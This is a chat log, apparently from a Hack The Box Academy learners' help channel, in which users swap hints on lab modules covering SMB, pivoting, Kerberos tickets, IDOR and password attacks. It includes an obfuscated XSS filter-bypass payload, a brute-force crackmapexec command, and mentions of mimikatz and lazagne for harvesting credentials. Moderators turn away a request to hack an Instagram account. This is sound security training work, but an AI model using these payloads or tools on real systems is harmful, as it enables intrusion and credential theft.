oh okay, looking through my notes, i was able to get that whole query to run

make sure there are no hidden new line characters, this happens sometimes when copying and pasting commands

[solar granite]

There's none, but every line gets executed as soon as I write it
||SQL> SELECT distinct b.name [-] ERROR(WIN-HARD\SQLEXPRESS): Line 1: The multi-part identifier "b.name" could not be bound.||

[storm jackal]

not sure why that is. do you have semi colons that separate? i have a screenshot of this command working and it's output if that would help

[solar granite]

Nothing, it's exactly as I copy-pasted above. It worked fine with sqsh, but for some reason I can't connect with it, only impacket-mssqlclient works

Could you connect with sqsh?

[storm jackal]

oh so you are only putting that part of the command? include the rest in your query and it should work

[storm jackal]

i used impacket-mssqlclient to connect, didn't try sqsh

[plain stream]

?

[woeful karma]

hey! I've just started hackthebox and im doing the "Linux Fundamentals" module. I've just done a question that asked "What is the path to the htb-students mail?" after logging into htb-student remotely. I got it right but I had to google the answer because I was lost. Can someone explain to me how people knew the path to "mail" would be shown by using the "env" command?

[solar granite]

Doesn't work either. I copy-pasted the full query:
||SQL> SELECT distinct b.name [-] ERROR(WIN-HARD\SQLEXPRESS): Line 1: The multi-part identifier "b.name" could not be bound. SQL> FROM sys.server_permissions a [-] ERROR(WIN-HARD\SQLEXPRESS): Line 1: Incorrect syntax near the keyword 'FROM'. ...||

[plain stream]

what you guys doing

[solar granite]

I copy-pasted the whole query in one line and now it worked. Weird

Thank you for the sanity check

[storm jackal]

no problem! glad it worked

[solar granite]

You couldn't really find that without googling. That's just how linux works.

Also remember that googling is encouraged, and more often that not it is necessary too, and definitely not "cheating"

[woeful karma]

yeah googling things is something ive gotten quite good at back when I started programming 😂 I'm learning linux now tho and cybersecurity so I can expand on what I can do with my programming. Thanks 👍

I'm now being asked "Which kernel version is installed on the system? (Format: 1.22.3)". I've just done "uname -v" and copied the output and pasted it as my answer but it says I'm wrong?

[solar granite]

Notice that it wants a specific format

[woeful karma]

yes but i don't see that format when i do it

#126-Ubuntu SMP Wed Oct 21 09:40:11 UTC 2020 thats my output

[solar granite]

You don't have to copy-paste the whole output, you can just grab what you need

[solar granite]

Try uname -a, your answer is definitely in there

[woeful karma]

oh yeah i got it, i swear thats the release tho?

[solar granite]

Yes. Questions are sometimes misworded / confusing. I recommend searching on discord for keywords for a sanity check, others might have had the same issues

[devout thorn]

Any luck with this one?

[wide path]

I escalated privilege first and then I used lazagne tool to search for passwords

[devout thorn]

Any nudge for the PrivEsc?
I've tried several exploits from Windows Exploit Suggester and no luck so far...

[solar granite]

For attacking common services - hard lab: is it possible to also get a reverse shell? I can read the flag, just wondering about a shell

[wide path]

I DM you to avoid to much spoil here

[wide path]

Finally I managed to tell you here without spoil: try to look at the ||Miscellaneous Techniques|| section of the module it helps a lot

[devout thorn]

Thanks for the hint

[sly tapir]

damn i just finished that brute forcing cookies lesson...i was fighting myself the whole time

[rustic sage]

I'm having this issue thsts been raised in the past, could someone explain this?
It feels like the question is worded kind of confusingly.

Am I meant to create
"if counter = 35
Echo $variable | wc -c"
?

I've read through the module a few times but I may be overthinking it or something. Could use a nudge or helping hand with the wording if anyone has the time!

[devout thorn]

||Miscellaneous Techniques or Additional Techniques?||
||Nothing worked in the first one 😅 ||

[solar granite]

Yes, that's exactly what you are supposed to do

[wide path]

||Miscellaneous Techniques in the Additional Techniques||

[rustic sage]

Thanks- still got errors, but as long as I know I'm on the right track ill just tinker around and think outside a lil ^^

[placid quest]

@solar granite u are still stuck or

[rustic sage]

Hello, I'm currently working on the web attack module at Mass IDOR Enumeration. I found out the http method with Burp Suite. I just have no idea how to enter the parameter with curl on POST. Thanks for the help in advance

[sly tapir]

on the page, you can inspect, go to network and right click the POST and copy as CURL, the parameter will show up as --data-raw

[kind turret]

@rustic sage

-d "uid=$i"

[solar granite]

Nope, I'm done with the modules. I got the flag, but I was just wondering if it's possible to get a shell too for the hard lab

[placid quest]

@solar granite yes it is possible while using powershell

[woeful karma]

in the linux fundamentals module, specifically in the "service and process management" section, the question asks Use the "systemctl" command to list all units of services and submit the unit name with the description "Load AppArmor profiles managed internally by snapd" as the answer. I've done systemctl list-units --type=service | grep apparmor and it returned only 1 unit. The description of that unit is "Load AppArmor profiles" so i assumed that was it since it's the only unit returned. I entered the name of the unit as my answer and it says im wrong.

[rustic sage]

@sly tapir @kind turret thanks I will try both variants

[kind turret]

Instead, grep for:
||```shell
Load AppArmor .*

[woeful karma]

do i wrap that in a string?

cuz it gives me an error

[kind turret]

Yes as we are using regex

[woeful karma]

that same service popped up but it's not the right answer

[kind turret]

DM me with what you are submitting as the answer

[rustic sage]

is this right? I get nothing ||curl -X POST --data-raw "uid=1" http://........../documents/||

[kind turret]

@rustic sage There is no such option as --data-raw, use -d https://reqbin.com/req/c-g5d14cew/curl-post-example#:~:text=How to post form data,www-form-urlencoded".

[sly tapir]

mybad, i totally misread that... yea -d "" 😬

[rustic sage]

do I need the -H parameter too? Because somehow I still get no result with -d

[kind turret]

@rustic sage DM me

[kind turret]

I apologize, --data-raw is an option, however, it is not be used in this context.

[woeful mural]

Anyone in the AD section?

Anyone having or seen this issue in mimikatz?

[forest tapir]

Is there a reason I can log in to SMB and not being able to list/open anything??

I'm on a share but have zero permission for anything.

I've never encountered this before. I've never heard of such a thing.

[thorn urchin]

yeah can def happen

[forest tapir]

Every google entry is related to "I can't login to SMB"...

Not relevant to what i'm trying to find.

If it's configured to not let me access anything, can I really do anything about it?

I would think not....

[thorn urchin]

you can probably use the connection for some enumeration tasks but that's probably about it

[forest tapir]

I'm supposed to grab the flag from it, I believe.

[thorn urchin]

find a better user perhaps

[forest tapir]

It's the password attack module.

[thorn urchin]

which section

[forest tapir]

the network services section

I could try to find another user. I swear I didn't find one.

[sturdy kite]

just subscribed to HTB academy! 😎

[forest tapir]

idk how i've missed a second user...

[thorn urchin]

thatd do it

[forest tapir]

I must be blind

[thorn urchin]

alright I got the XSS module up next and I absolutely hate XSS blehhhhhhh

hopefully I can just use my dislike of xss to power through it

[still violet]

any hints on how to read source code in file upload assessment?

[sturdy kite]

hi, im trying to use nmap --script smb-os-discovery -p445 <host> but not seeing any output for the script, any ideas?

ah... i added the -d flag and now see this

Host script results:
| smb-os-discovery: 
|_  ERROR: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [9]

what does this mean?

[woeful mural]

Did you put the ip?

@sturdy kite Looks like you need a space after the p and the ip?

[deft fractal]

-p445 is port number

[sturdy kite]

the command is correct, im getting an error in the script for smb-os-discovery

[thorn urchin]

iirc I think smb-os-discovery actually requires more ports than just 445 cause I think it tries to fetch some of the standard rpc information. Id have to double check

not required but does sometimes use 139 as well

so try -p445,139

[sturdy kite]

let me try that

the module im going through shows usage without port 139 though

[thorn urchin]

which module/section?

[sturdy kite]

https://academy.hackthebox.com/module/77/section/726

another issue im having is with SMB client: Error opening local file flag.txt

when running get <filename>

[sturdy kite]

same error with this

[thorn urchin]

dont really need to do smb-os-discovery for this one, but give me a moment and ill see if I get an error

[sturdy kite]

right, i just wanted to test out everything it had talked about in the section

[thorn urchin]

ah its a samba one

samba likes to hide info

[sturdy kite]

so the error is expected?

[thorn urchin]

I didnt get an error, I just go no output at all, which can be normal yeah

[sturdy kite]

did u use the -d flag?

[thorn urchin]

nah

with -d yeah I do see the error

but yeah normal for samba

[sturdy kite]

any idea on this? i actually need this to work

[thorn urchin]

what were you trying to run

[sturdy kite]

get flag.txt

[mellow turtle]

send us a image of the directory where the flag is

@sturdy kite

[mellow turtle]

try : get ./flag.txt

[mellow turtle]

get flag.txt flag.txt

?¿

[mellow turtle]

this?

[mellow turtle]

wtf

[sturdy kite]

lol

[mellow turtle]

try get /flag/flag.txt

[thorn urchin]

are you connected as the correct user for that?

[sturdy kite]

bob

[thorn urchin]

what directory are you launching smbclient from

[sturdy kite]

users

[thorn urchin]

and do you have write access to users

[sturdy kite]

how can i determine this?

[mellow turtle]

launch it from ur user

directory

[thorn urchin]

youre launching from /root

as normal user

youre not gunna have write perms to /root

[mellow turtle]

cd ~

[sturdy kite]

ohhhhhhhh

[mellow turtle]

or use sudo

[sturdy kite]

ughhhh

yup

thanks guys

[mellow turtle]

._.

[sturdy kite]

launched from bad dir 😅

[thorn urchin]

np Ive done it before while inside /opt/ and using some tools

[mellow turtle]

i got that mistake often too

xD

[sturdy kite]

what a misleading error message lol

[thorn urchin]

well it did say it had an error with the local file lol

[mellow turtle]

yeah

that was confusing

[sturdy kite]

but local is the remote when in smbclient right?

[thorn urchin]

¯_(ツ)_/¯

[sturdy kite]

lmao

anyways, thanks

[sly tapir]

anyone have a good resource where i can filter lists? trying to filter a list to delete lines with no special characters

[solar granite]

What do you mean?

[sturdy kite]

like a command line tool to filter output from a file?

[sly tapir]

``` i am filtering a list to meet specific requirements... but there are lines with no special characters in there and i want to delete them

[sturdy kite]

i've heard of awk https://www.gnu.org/software/gawk/manual/gawk.html

i think grep is essentially the same thing, really it sounds like you are looking for a pattern (regex) to match lines with special chars

[sly tapir]

yea im filtering it based off password requirements

[sturdy kite]

i would just search for regex patterns that fit what you want

you can use https://regex101.com/ to test

[sly tapir]

thanks!

[raven cairn]

I know a bit but this kinda sus ngl

Illegal stuff isn't allowed here.

<@&861185840277487616>

No and learn OPSEC.

[urban sage]

https://tenor.com/view/summoned-i-have-been-summoned-power-gif-15859341

[raven cairn]

Go to hackthebox academy.

[urban sage]

https://tenor.com/view/nap-time-cleaning-club-penguin-gif-15699358

[raven cairn]

Thank you NightWolf56

https://tenor.com/view/eye-bleach-gif-25796868

[urban sage]

https://tenor.com/view/dab-reporter-gif-18923264

[thorn urchin]

Welp thats the xss module down. Plus side I hate xss so it being really simple made it easy to blitz through. Downside is that it was super simple and did nothing to alter my annoyance at xss.

[raven cairn]

Gj!!!!

[thorn urchin]

almost at that 70% mark

[raven cairn]

For cbbh or CPTS?

[thorn urchin]

cpts

[raven cairn]

Nice!!!

I am at 82% but FInals week at uni is killing me

I have no time

[rustic sage]

how do you find php.ini files on websites

with file inclusion attack

[raven cairn]

If I understand the question correctly then FFUF is your friend

don't use gobuster no matter what people tell you : )

[rustic sage]

ive been trying ffuf for 2 days

im on https://academy.hackthebox.com/module/23/section/622

the problem is i cant find the parameter

http://10.129.29.112/index.html?PARAMETER=value

[raven cairn]

Damn I haven't done that module in a while

And my notes suck : (

[thorn urchin]

welp thats the module Im about to start so maybe ill have something later

but odd that finding the paremeter is the sticking point

[raven cairn]

Is this for question 1?

[rustic sage]

I feel kind of stupid right now not being able to find a php.ini file

[rustic sage]

yes

[thorn urchin]

oh this one isnt even finding the paremeter

you ssh in

and find it on the box

[raven cairn]

The format of your answer will be /xxx/xxxx/xx/xxxxxx/php.ini

[rustic sage]

oh

shit

bruh

i thought i had to

fuzz

[raven cairn]

Does that help my dude?

[rustic sage]

the whole time

[thorn urchin]

no fuzz lol

[rustic sage]

[thorn urchin]

the second question has you editing the file

[rustic sage]

ok i did the first question

[ripe terrace]

The script in INTRODUCTION TO BASH SCRIPTING / Flow Control - Loops throws the following error for me. Is that a result of the incorrect salt being passed, or is something incorrectly configured in pwnbox?

*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
bad decrypt
140356658070848:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:../crypto/evp/evp_enc.c:610:

[ripe terrace]

^ scratch that. It was just an incorrect salt value.

[raven cairn]

Nice Job

[glass locust]

exit

[rustic sage]

Hi

[pliant sage]

has anybody done the socksoverrdp thing in pivoting tunneling ?

when I unzip the SocksOverRDP directory the .dll file keeps disappearing from the pivot...

nvm defender was deleting it

[green grotto]

I'm doing well

[pliant sage]

aight could someone help me w/ socksoverrdp? I can't get it to work and I don't understand what I'm doing wrong

[green grotto]

I'm doing well

[pliant sage]

I think I misconfigured proxifier because it doesn't seem to detect mstsc's attempt to connect

but I can't figure out what I did wrong

[pliant sage]

no one?

[solar granite]

Which module is that?

[solar granite]

What exactly is your issue?

[pliant sage]

I think I don't understand how to connect to the machine that has the flag

what address am I supposed to use in mstsc.exe?

[solar granite]

Enumerate that service further. Hint: ||check the banner||

[solar granite]

My notes are weird for that one, but the way it goes is foothold machine -> ping sweep network to find hosts -> connect to new host; repeat

DM me if you need more help

DM me what you found

[pliant sage]

yo

I'm trying to run for i in {1..254} ; do (ping -c 1 172.16.5.$i | grep "bytes from" & );done through a webshell

but for some reason it doesn't loop, $i just takes {1..254} as a value

any ideas why?

[gloomy tangle]

I am stuck also there 😩 run rpcclient with user/pass and the group its assigned, it doesn't match the answer

[solar granite]

What shell are you using?

[pliant sage]

it's alright i found a workaround

[solar granite]

Cool

[green ingot]

Anyone here read "hacking the art of exploitation" 2nd edition ? And is it good for starting to get into hacking ?

[solar granite]

It's probably good if you like learning from books
There are definitely better resources tho

[green ingot]

can you send me some of the better resources ?

[rustic sage]

Hi all, Im doing ICMP Tunneling with SOCKS section in Pivoting, Tunneling, and Port Forwarding Module, and when I transfer ptunnel-ng to ubuntu server, it gives me this error: ./ptunnel-ng: error while loading shared libraries: libcrypto.so.3: cannot open shared object file: No such file or directory
Any hint?

[rustic sage]

This is necessary to complete the exercise

[solar granite]

Any of the reputable ones are great: HTB, HTB Academy, THM, Cyber Mentor, PortSwigger, and probably many more, but these come to mind right now.
As for books, that depends on what you're after, and I don't really know many, but Network Security Assessment is really good, and I've seen a few others recommended

[solar granite]

I had another issue with the tool, and I couldn't get it to work. You can, however, complete the exercise in other ways

[rustic sage]

yep, thats what I did

[raven nest]

Who can hack instagram accounts?

[rustic sage]

Can someone help explain some bash scripting to me?

Introduction to Bash Scripting -> Conditional Execution

Got the answer, but could use someone experienced to help explain how the loop works

[rustic sage]

Malicious request that 🤨

[solar granite]

DM me

[raven nest]

No no my gf lost her instagram

[rustic sage]

Riiiight ahahaha

[raven nest]

Could you do that

[carmine kiln]

We both know this is not true

if you are not here to learn then it's not the right place for you

[raven nest]

Ok fuck that she just cheated on me

[carmine kiln]

if she did there are multiple legit ways get it back

[vital adder]

the gf or the instagram?

[raven nest]

Noo no she cheated on me and we break up

The gf

Haha

[carmine kiln]

Look, we are not going to help or give advice on illegal activities

[raven nest]

Bur you know how?

[rustic sage]

https://tenor.com/view/waynes-world-gif-9423140

[carmine kiln]

++kick 1007292874402037870 continued asking for help in illegal activities

[little whale]

Mos got the boot!

[vital adder]

try this beofer uploading the tool to the ubuntu server this work for me and yep the first time i also use a different way to complete this section git clone https://github.com/utoni/ptunnel-ng.git;cd ptunnel-ng;sudo ./autogen.sh

[pliant sage]

is there a "good" way of getting files from a machine you pivoted to back to your host? Or do I have to upload them back to the pivot then to my host?

asking for the pivoting tunneling skills assessment

[carmine kiln]

you could use wget, curl

or netcat

lots of ways

https://gtfobins.github.io/#+file upload

all of these commands allow to upload a file

[pliant sage]

but would that work? since my machine and the host aren't on the same network?

[vital adder]

in that network you have to go through multiple machine

[pliant sage]

maybe it's a dumb question sorry 😅

[vital adder]

or you can upload ||mimikatz|| to that machine

[shell scaffold]

uploading with internet connection you can use transfer.sh or something

[pliant sage]

ah man that's what i was looking for!!

i remembered pypykatz but the machine doesn't have python on it

[carmine kiln]

you have a shell in the machine?

using what

[pliant sage]

i have rdp to the machine

[carmine kiln]

how are you connected?

nvm

[vital adder]

i bet with autoroute and proxychains

[vital adder]

oh nice, not the best for privacy but good for ctf (with internet) thanks

[pliant sage]

rpivot

and proxychains

[pliant sage]

mimikatz throws errors 😦

well, machine died anyway time fro a break

[placid quest]

@pliant sage if rpivot works tell me

[pliant sage]

oh rpivot definetly works

[placid quest]

@pliant sage ok, rpivot did not work on my side so i had to use another method

[pliant sage]

for the client on the pivot I used the pre-built one, not the github cloned one

[modern ridge]

hello all. how do I navigate to the academy footprinting medium lab questions here on discord ?

[solar granite]

There's no module-specific channels, but you can use the search functionality of discord

[modern ridge]

thx will do

[feral stump]

Dm if you need help

[deft lagoon]

hey guys i need help with the footprinting easy lab. So ive done the enumeration and i got back 2 ftp ports. If i try to connect via ftp user@<ip> and then login it directly enters passive mode and . With wget i got the folder .ssh which has my public and private key. Now i have to give the public key to the ssh but how?? Thanks for any help.

[pliant sage]

forget what i said rpivot is making xfreerdp run as smoothly as sandpaper it's a nightmare

[placid quest]

@pliant sage so it took time to work

[vital adder]

first pls remove the port and some spoiler stuff and for the ftp try ftp IP and you can enter the cred in and for the ssh if you got the private key you can just use that to login

[deft lagoon]

so i have to upload my public key via ftp to the server

[vital adder]

nope you don't need to do that just get the ||private key|| and use that to login

[deft lagoon]

but how??

[vital adder]

by login to ftp first

[deft lagoon]

if i go for ssh -i id_rsa.pub ceil@<ip> that doesnt work

i already have the keys

[vital adder]

you can't use public key for that

[deft lagoon]

which key do i have to upload?

my private key?

[vital adder]

then use the one without the .pub to login

not your the one you get on the ||ftp||

[deft lagoon]

jes i did

lets go private chat maybe

[vital adder]

did it give you any error?

[deft lagoon]

no connection refused

[vital adder]

oh yeah i forgot about spoiler

[deft lagoon]

private chat?

[vital adder]

yep shoot me a dm

[deft lagoon]

did

[rustic sage]

me too, now I am having problems with .dll about SocksOverRDP:

[vital adder]

all i remember about that error is it just randomly appear and disappear

but i'll give that a check after i'm done helping some people

[rustic sage]

I will reset the target

[autumn pilot]

make sure that you are executing the cmd prompt as an admin

[vital adder]

also the ||AV|| for that machine is on

[vital adder]

@rustic sage oh yeah i think this is the issue

[unique valve]

Also make sure something on the system hasnt quarantined the file.

[rustic sage]

still AV warning

Real time protecion was enabled xd

now it is working

Good day colleagues, I'm lost in the last Windows fundamentals test.

[digital juniper]

hi

[vital adder]

what's the issue?

[rustic sage]

I couldn't solve the last test I'm stuck with the final questions

[kind vessel]

I don't understand what i miss in this module to have this response. Can someone help me ? https://academy.hackthebox.com/module/143/section/1486

[thorn urchin]

you need to replace the <password here> with wley's actual password

[kind vessel]

Ho ok thanks !

[lucid bloom]

normal that used ||theme for rev shell|| at getting started?

[lucid bloom]

at windows fundamantals section ntfs vs share permissions first question - isn´t the anwsser ||Server Message Block protocol||? But it says its wrong

[rustic sage]

One second, I might be able to help

DM Me if you still need help

[waxen barn]

On the PtT w/ Linux module and trying to figure out how to switch from carlos to the svt_workstations account. I’ve used kinit to transfer the ticket and keytabextract, which gave me the AES-256 hash, but not NTLM. I’ve not been able to crack the AES-256 hash so far. Any recommendations?

[waxen barn]

Nevermind. Tried keytabextract on the ._all.kt file and it gave me an NTLM hash.

[fathom mortar]

Hello Guys, can anyone help me on Password Attack module

Pass the Ticket on Linux

[lucid bloom]

Cannot

[rustic sage]

I've sent a request

One question, once a module is finished and a subscription is expired. Can I keep watching the updated content added to that module?

[undone belfry]

If you have complete the module, yes.

I have a question, about "shells & payloads - live engagement". There is any browser on the machine we are connected via rdp? Or we have to proceed, without browser?

[gilded violet]

Is there anything specific to cloud security? Like a road map or something

[unique valve]

Always good to be mindful of AV in the real world as well.

[placid quest]

@gilded violet https://cloudsecuritypodcast.tv/season-2/cloud-security-roadmap/

[gilded violet]

Thank you so much

[placid quest]

@gilded violet no problem

[sly tapir]

i cannot for the life of my figure out this password for the broken authentication module skills assessment. i either suck at filtering lists or i am deep in a rabbit hole

[steep loom]

I am working on the brute forcing cookies section. I am stuck on the second question: Log in to the target application and tamper the rememberme token to give yourself super user privileges. After escalating privileges, submit the flag as your answer. can you help me out if you have done it? i feel like im just being really stupid

I can find the cookie to decode, decode it from url and notice that it there are 2 parts, one that changes based on session on that I think is the username encoded somehow. I for the life of me cant figure out where to go from there

[vital adder]

if you having issue decoding the cookie just use CyberChef if you have decode the cookie change you can use the same role at ||question 1||

[vital adder]

hint you aren't in a rabbit hole that's the right path ||if you got the right user|| and if you are having issue with filtering the wordlist re-check the section on that

[mellow turtle]

@vital adder do u have notes about ACTIVE DIRECTORY ENUMERATION & ATTACKS / Bleeding Edge Vulnerabilities/ PetitPotam (MS-EFSRPC) attack?

[vital adder]

nope (haven't done the module)

[steep loom]

thank you.

[mellow turtle]

okey, im having as problem with the last type of attack its not necessary to complete the section but i want to try it :/

[steep loom]

i must admit, im quite lost, can I have another hint? the magic bytes dont seem to line up, Is it the same fomula as shown in the module?

[safe token]

hey. not academy stuff but i can't write to the main channel so. what should i try i this doesn't go thrgough the xss filter?
<img/src="funny.jpg"onload=java
script:eval(ale&#x0Drt('YWxlcnQoJ1N1Y2Nlc3NmdWwgWFNTJyk='))>

[steep loom]

omfg jk, you just have to let the ai do the work, i figured it out

[vital adder]

what magic bytes? if you are in CyberChef you you just use the magic stick

[pastel ginkgo]

Were you able to get the other two attacks to work?

[mellow turtle]

yup

[steep loom]

yah i just notcied that, as always it boils down to the dumbest thing xD. thank you for the help! I was about to spend all day brute forcing algorithms xD

[pastel ginkgo]

I only got so far on the first where I couldnt read what what was in the file on the admin desktop

when I get to stage 3 of the print nightmare it shits the bed

now it wont execute at all lol

[mellow turtle]

let me check

@pastel ginkgo dm me

and lets see whats happening there

[vital adder]

you need to verify first before you can access the main channel use ++verify at #bot-commands

[pastel ginkgo]

Kinda seems like an oversight that people who are not verified have access to the academy text channels

[thorn urchin]

Yeah I agree

not sure where to make a more formal suggestion about it

[pastel ginkgo]

I think the forms have suggestions idk how active it is

[thorn urchin]

tagged one of the staff during a sprint a spammers and suggested it but they didnt mention anything back about it

[leaden kettle]

Can someone advise me on how I can start hacking apps?

[thorn urchin]

depends on your definition of hacking and definition of apps

[leaden kettle]

Android games

[thorn urchin]

yeah no modules for that stuff

[rustic sage]

Probably something else online for that

Could try the Linux repository tho

[leaden kettle]

or what program do you use to modify the money, diamonds, gold in the online games?

[thorn urchin]

not a module related question sorry, ask in a more appropriate location 🙂

[leaden kettle]

where can i ask?

[sturdy kite]

how can i use my own VM in section questions? instead of the pwnbox

https://academy.hackthebox.com/module/77/section/844

[stiff moon]

yo yo on the module "PASSWORD ATTACKS" in "Pass the Ticket (PtT) from Linux"

the last question "Use the LINUX01$ Kerberos ticket to read the flag found in \DC01\linux01. Submit the contents as your response"

i dont get it. I thought I found the right file. i used linikatz and nothing works.
any help?

[cyan oar]

You can launch the browser inside of Burpsuite. It's clunky, but it's a browser.

[pastel ginkgo]

Quickest and probably easiest is to download virtual box, download either the kali or parrot virtualbox vm from their respective sites and boot it up

[junior shell]

I have a question on the Windows Privilege Escalation for the SeDebugPrivilege section. I am currently RDP into the host with jordan user. When i go to check whoami /priv I do not have SeDebugPrivilege

[rustic sage]

just use it

[sturdy kite]

right, i was more wondering how to access the VPN, i think i figured it out, downloaded setting from https://academy.hackthebox.com/vpn and connected inside VM

[rustic sage]

yeah yeah

install openvpn

and then openvpn filepath

[autumn trout]

Anyone managed to do the zap web fuzzing part of the module? I heave been stuck for 2 days and it is driving me mad on why I can't get it working

[stiff moon]

FINALLY i found it... idk why it didnt work the first time but made it work

[rustic sage]

What is the name of the group that is present in the company data share permissions ACL by default? can i explain me

[sly tapir]

sorry man, i was at work.. i used python in a terminal to decode the cookie....did you figure that out?

[sly tapir]

always there for the assist, thanks alot man...yea i need to work on my wordlist commands

[sturdy kite]

anyone tried using VirtualBox on Mac M1 chip?

[sturdy kite]

i installed the dev preview and am trying to run parrotos on it, but its going extremely slow, seems to be stuck on boot

now im seeing this

[karmic mantle]

Did you install the ARM version of Parrot OS?

[sturdy kite]

yes

oh wait

no

amd

im using the security edition, theres only an amd option

[karmic mantle]

Only ARM works for M1 Macs. You can do an x86 Parrot OS docker container since the docker software runs using Rosetta. But afaik VMs need to be ARM

[sturdy kite]

ooofff... only ARM isos work?

[karmic mantle]

Yeah. Some software is missing in the ARM version. Also compiling exploits will not work unless you compile it on the target machine itself. That’s why I keep a Parrot OS docker image handy

[sturdy kite]

is this only an issue with parrot os? can i try a different distro?

[patent obsidian]

hello someone who has already done the FILE UPLOAD ATTACKS module

[karmic mantle]

I use Kali ARM distro for my VM

@sturdy kite

[sly tapir]

whats up

[sturdy kite]

@karmic mantle so, any distro I want to run must be ARM?

[patent obsidian]

could you help me with Skills Assessment

[sly tapir]

yea where are you stuck

[final elm]

hola

[karmic mantle]

Yeah. The M1 Chip is an ARM chip. So only ARM distros work on it.

[patent obsidian]

in the beginning

[sturdy kite]

@karmic mantle now im getting this issue

[rustic sage]

https://tenor.com/view/holy-cow-holy-cow-gif-25938150

:(

[hidden trellis]

how do we know if the integrity of a pro lab machine has not been altered? I have found creds for a user but they wont work

[runic fern]

Can people legally pay hackers to do their hacking work

[drifting glacier]

Working on the exercise section for active subdomain enumeration, currently getting server refusal messages when attempting to query inlanefreight.htb

More error messages like that, any nudge in the right direction?

[thorn urchin]

your nslookup is trying to check with the 1.1.1.1 dns server which isnt going to know anything about an internal domain.

[drifting glacier]

oh, so i should add the address of the spawn target to that command?

[thorn urchin]

youd need to select it as your dns server for the command yeah

[rich vale]

wheres the best place to ask a noob question related to htb academy?

[vital adder]

only ask that at #modules

[vital adder]

a bit late but if you still need a hint for that module then ||XXE||

[rich vale]

just at the beginning of AD Enumeration & Attacks, but confused on something I think is simple

connected to the VPN, and then used xfreerdp to get on the Linux attack host... but can't seem to launch wireshark with enough permissions to listen on the relevant interfaces

what am I missing? shouldn't i be able to launch wireshark and capture, as the instructions indicate?

nevermind, issue resolved... 4th or so attempt at pasting in the password for the htb-student user and it launched correctly

[tidal mango]

Anyone able to get the PrintNighmare exploit, in Active Directory --Bleeding Edge Vulnerabilities-- to work? I get an error from python once the windows box tries to connect back to my share. I was hoping someone else has some insight on this? Thanks!

[loud sapphire]

yo. quick one, can someone DM me please?

I have to answer as part of Meterpreter Tunneling & Port Forwarding: Which of the routes that AutoRoute adds allows 172.16.5.19 to be reachable from the attack host? (Format: x.x.x.x/x.x.x.x)

I have completed this and am on the windows box.... Im just not seeing the correct route that autoroute is providing.

[rustic sage]

wtf why does some bruteforcing programs dont stop, after a password is found ?

Examples:

crackmapexec winrm IP -u 'USERNAME' -p mylist.txt

or:
crowbar --server IP -u USER -C FILE -b rdp -v

i mean.. why ?!

[loud sapphire]

you didnt tell it to stop probably. though crackmap stops automatically.. wasnt it hydra that doesnt? might be the other way around byt either way. there should be a switch to get it to stop

[rustic sage]

the funny thing is, crackmapexec with smb stopped immediately. Exact same command, just smb instead of winrm. LOL ?

[loud sapphire]

i would recommend having a look at the help on that proto. so like crackmapexec winrm help

else they have a discord. the makers of crackmap i mean. they are super helpful and fast at it too

[loud sapphire]

@vital adder i see you there lurking haha.

[vital adder]

i was to lazy to type so i was looking for this #modules message

[vital adder]

try this it help the other guy with the same issue #modules message

[vital adder]

also i'm pretty sure it's the other way around and i do remember have to deal with crackmapexec not stopping (not all crackmapexec option is like this)

[vital adder]

if crackmapexec isn't stopping after it found the right cred you can add a grep command at the end to filter out Pwned! or the thing that crackmapexec give then it found the right cred

but with this you can't see the verbose

[vital adder]

wdym not seeing the correct route?

[loud sapphire]

yay

[rustic sage]

Yo thanks. For everyone, until we know why:

crackmapexec | grep 'Pwned!'

crowbar

• doesnt have a 'stop-switch' until now
• BUT creates crowbar.log (bad-pw) & crowbar.out (correct-pw) in current dir

[finite gorge]

Hey guys, anybody completed the Windows fundamentals skill assessment?

Not some direction to complete that section of the module.

[modern ridge]

here I am at the Footprinting Hard Lab. I can see ssh/pop3/imap ports open but I have no credentials to get in. SNMP is not present. Is bruteforcing the enxt step ?

[placid quest]

@modern ridge use onesixtyone tool

[modern ridge]

i did. and since SNMP is not running the tool return nothing. I guess they changed that

only ssh pop or imap. thats it

[static sapphire]

hi guys, i'm new here

[modern ridge]

hi. same

[modern ridge]

so yeah. onesixtyone returns nada

[static sapphire]

actually it's my first time on discord

[modern ridge]

welcome. then.

[static sapphire]

thanks

[storm jackal]

try a nmap UDP scan

[modern ridge]

that i havent. will do now

[lone halo]

Yo i just started with raspberry pi pico

Looks interesting

[placid quest]

@modern ridge look in seclist u will find the list that u can use

[modern ridge]

thx will do

[modern ridge]

progress. at last

[placid quest]

@modern ridge so u got it

[modern ridge]

halfway yes. found stuff. thanks

[modern ridge]

got it boss !

Hard lab completed ! oof

[rustic sage]

Good day, I am confused, in the Occam's Razor section in Learning Process module, what is the point of Occam's in talking about SQL injection being the same in terms of concept but the individual steps being complicated?

I mean, I understand that Occam's razor is saying not to assume what is not, i.e the simplest explanation is probably the best one.

I can't seem to understand the point in using the SQL injection/pentesting explanation side by side Occam's.

I don't understand that section.

[placid quest]

@modern ridge ok

[worn tusk]

hi

i am stuck with this question 'What is the path to the htb-student's mail?'

[placid quest]

@worn tusk look in var

[worn tusk]

yeah i did but still showing wrong

[vital adder]

hint ||environment||

[worn tusk]

still ain't getting

tried var/spool/mail and var/mail